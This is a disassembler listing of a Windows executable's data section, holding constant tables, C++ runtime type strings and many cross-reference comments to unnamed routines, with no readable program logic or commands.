dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433764o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A50o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384C0o dd 12416h dup(0) db 0 byte_4A049D db 3 dup(0) ; DATA XREF: Themida_:loc_5498B7o ; Themida_:0054E311o dd 5369h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_43832Co dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437838o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do 